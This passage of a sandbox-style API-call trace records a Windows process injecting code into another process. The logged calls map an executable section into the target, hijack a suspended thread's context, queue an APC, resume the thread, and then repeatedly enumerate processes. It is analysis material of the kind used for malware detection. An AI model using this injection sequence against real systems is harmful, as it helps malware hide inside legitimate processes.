SectionHandle=0x29f2d4*=0xa8) returned 0x0 [0086.601] NtMapViewOfSection (in: SectionHandle=0xa8, ProcessHandle=0xffffffff, BaseAddress=0x29f2d0*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x29dcdc*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x29f2d0*=0x2230000, SectionOffset=0x0, ViewSize=0x29dcdc*=0x9c4000) returned 0x0 [0086.601] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x29d440 | out: TokenHandle=0x29d440*=0xb0) returned 0x0 [0086.601] NtQueryInformationToken (in: TokenHandle=0xb0, TokenInformationClass=0x1, TokenInformation=0x29cc38, TokenInformationLength=0x400, ReturnLength=0x29d438 | out: TokenInformation=0x29cc38, ReturnLength=0x29d438) returned 0x0 [0086.601] ConvertSidToStringSidW () returned 0x1 [0086.601] NtClose (Handle=0xb0) returned 0x0 [0086.608] RtlIntegerToChar (in: Value=0x39333424, Base=0x10, Length=0x20, String=0x2236481 | out: String="39333424") returned 0x0 [0086.610] NtCreateKey (in: KeyHandle=0x29deb4, DesiredAccess=0x20219, ObjectAttributes=0x29d440*(Length=0x18, RootDirectory=0x0, ObjectName="\\Registry\\Machine\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), TitleIndex=0x0, Class=0x0, CreateOptions=0x0, Disposition=0x0 | out: KeyHandle=0x29deb4*=0xb0) returned 0x0 [0086.613] NtQueryValueKey (in: KeyHandle=0xb0, ValueName="ProductName", KeyValueInformationClass=0x1, KeyValueInformation=0x29da8c, Length=0x100, ResultLength=0x29df08 | out: KeyValueInformation=0x29da8c*(TitleIndex=0x0, Type=0x1, DataOffset=0x30, DataLength=0x2e, NameLength=0x16, Name="ProductName", Data="Windows 7 Professional"), ResultLength=0x29df08) returned 0x0 [0086.613] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x29d470*=0x0, ZeroBits=0x0, RegionSize=0x29d474*=0x1f4400, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0x29d470*=0x2c00000, RegionSize=0x29d474*=0x1f5000) returned 0x0 [0086.613] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x29d45c*=0x0, ZeroBits=0x0, RegionSize=0x29d460*=0x1f4400, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0x29d45c*=0x2e00000, RegionSize=0x29d460*=0x1f5000) returned 0x0 [0086.614] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="TEMP", Value=0x29d460 | out: Value="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0x0 [0086.614] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="ProgramFiles", Value=0x29d428 | out: Value="C:\\Program Files (x86)") returned 0x0 [0086.617] NtOpenProcess (in: ProcessHandle=0x29e288, DesiredAccess=0x438, ObjectAttributes=0x29e250*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x29e268*(UniqueProcess=0x460, UniqueThread=0x0) | out: ProcessHandle=0x29e288*=0xb4) returned 0x0 [0086.617] NtQueryInformationProcess (in: ProcessHandle=0xb4, ProcessInformationClass=0x1a, ProcessInformation=0x29e278, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x29e278, ReturnLength=0x0) returned 0x0 [0086.617] NtMapViewOfSection (in: SectionHandle=0xa8, ProcessHandle=0xb4, BaseAddress=0x29e274*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x29e270*=0x9c4000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x29e274*=0x7a30000, SectionOffset=0x0, ViewSize=0x29e270*=0x9c4000) returned 0x0 [0086.618] NtClose (Handle=0xb4) returned 0x0 [0086.620] NtDelayExecution (Alertable=0, Interval=0x29ded0*=-50000000) returned 0x0 [0091.627] NtOpenProcess (in: ProcessHandle=0x29de88, DesiredAccess=0x438, ObjectAttributes=0x29d438*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x29d478*(UniqueProcess=0x460, UniqueThread=0x0) | out: ProcessHandle=0x29de88*=0xb4) returned 0x0 [0091.629] NtQueryInformationProcess (in: ProcessHandle=0xb4, ProcessInformationClass=0x0, ProcessInformation=0x29d488, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x29d488, ReturnLength=0x0) returned 0x0 [0091.635] NtOpenThread (in: ThreadHandle=0x29d430, DesiredAccess=0x1a, ObjectAttributes=0x29d438, ClientId=0x29d468*(UniqueProcess=0x0, UniqueThread=0x464) | out: ThreadHandle=0x29d430*=0xb8) returned 0x0 [0091.641] NtSuspendThread (in: ThreadHandle=0xb8, PreviousSuspendCount=0x0 | out: PreviousSuspendCount=0x0) returned 0x0 [0091.646] NtGetContextThread (in: ThreadHandle=0xb8, Context=0x29d980 | out: Context=0x29d980*(ContextFlags=0x0, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x10000b, FloatSave.DataSelector=0x1fa0, FloatSave.RegisterArea=([0]=0x33, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x2b, [11]=0x0, [12]=0x46, [13]=0x2, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x20, [65]=0x24, [66]=0x18, [67]=0xcb, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x20, [73]=0x24, [74]=0x18, [75]=0xcb, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0xcb182420, SegGs=0x0, SegFs=0x28c9e20, SegEs=0x0, SegDs=0x26f0c8, Edi=0x0, Esi=0x100ee, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x42, SegCs=0x0, EFlags=0x29, Esp=0x0, SegSs=0x3, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xc0, [5]=0xec, [6]=0x26, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x1, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x4, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x3a, [45]=0x93, [46]=0x4f, [47]=0x77, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x7f, [53]=0x2, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0xa0, [77]=0x1f, [78]=0x0, [79]=0x0, [80]=0xff, [81]=0xff, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0091.651] NtCreateSection (in: SectionHandle=0x29d410, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x29d3b0, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x29d410*=0xbc) returned 0x0 [0091.654] NtMapViewOfSection (in: SectionHandle=0xbc, ProcessHandle=0xb4, BaseAddress=0x29d418*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x29d3b8*=0x10b423, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x29d418*=0x8400000, SectionOffset=0x0, ViewSize=0x29d3b8*=0x10c000) returned 0x0 [0091.655] NtMapViewOfSection (in: SectionHandle=0xbc, ProcessHandle=0xffffffffffffffff, BaseAddress=0x29d408*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x29d3b8*=0x10c000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x29d408*=0x1df0000, SectionOffset=0x0, ViewSize=0x29d3b8*=0x10c000) returned 0x0 [0091.670] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x1df0000) returned 0x0 [0091.678] NtClose (Handle=0xbc) returned 0x0 [0091.681] NtSetContextThread (ThreadHandle=0xb8, Context=0x29d980*(ContextFlags=0x0, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x10000b, FloatSave.DataSelector=0x1fa0, FloatSave.RegisterArea=([0]=0x33, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x2b, [11]=0x0, [12]=0x46, [13]=0x2, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x20, [65]=0x24, [66]=0x18, [67]=0xcb, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x20, [73]=0x24, [74]=0x18, [75]=0xcb, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0xcb182420, SegGs=0x0, SegFs=0x28c9e20, SegEs=0x0, SegDs=0x26f0c8, Edi=0x0, Esi=0x100ee, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x42, SegCs=0x0, EFlags=0x29, Esp=0x0, SegSs=0x3, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xc0, [5]=0xec, [6]=0x26, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x1, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x4, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x95, [45]=0x62, [46]=0x48, [47]=0x8, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x7f, [53]=0x2, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0xa0, [77]=0x1f, [78]=0x0, [79]=0x0, [80]=0xff, [81]=0xff, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0091.681] NtQueueApcThread (ThreadHandle=0xb8, ApcRoutine=0x84862a2, NormalContext=0x0, SystemArgument1=0x0, SystemArgument2=0x0) returned 0x0 [0091.685] NtResumeThread (in: ThreadHandle=0xb8, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0091.685] NtClose (Handle=0xb4) returned 0x0 [0091.685] NtClose (Handle=0xb8) returned 0x0 [0091.689] PostThreadMessageW (idThread=0x460, Msg=0x111, wParam=0x0, lParam=0x0) returned 0 [0091.824] PostThreadMessageW (idThread=0x460, Msg=0x8003, wParam=0x29def0, lParam=0x0) returned 0 [0091.849] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x29e8bc*=0xd0000, RegionSize=0x29e8c0, FreeType=0x8000) returned 0x0 [0091.849] NtDelayExecution (Alertable=0, Interval=0x29e288*=-50000000) returned 0x0 [0096.879] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x29e278*=0x0, ZeroBits=0x0, RegionSize=0x29e27c*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x29e278*=0xd0000, RegionSize=0x29e27c*=0x10000) returned 0x0 [0096.879] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xd0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0xd0000, ResultLength=0x0) returned 0x0 [0096.923] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x29e8bc*=0xd0000, RegionSize=0x29e8c0, FreeType=0x8000) returned 0x0 [0096.923] NtDelayExecution (Alertable=0, Interval=0x29e288*=-50000000) returned 0x0 [0101.918] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x29e278*=0x0, ZeroBits=0x0, RegionSize=0x29e27c*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x29e278*=0xd0000, RegionSize=0x29e27c*=0x10000) returned 0x0 [0101.918] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xd0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0xd0000, ResultLength=0x0) returned 0x0 [0101.985] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x29e8bc*=0xd0000, RegionSize=0x29e8c0, FreeType=0x8000) returned 0x0 [0101.985] NtDelayExecution (Alertable=0, Interval=0x29e288*=-50000000) returned 0x0 [0106.987] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x29e278*=0x0, ZeroBits=0x0, RegionSize=0x29e27c*=0x10000, AllocationType=0x1000, Protect=0x4 | out: BaseAddress=0x29e278*=0xd0000, RegionSize=0x29e27c*=0x10000) returned 0x0 [0106.987] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xd0000, 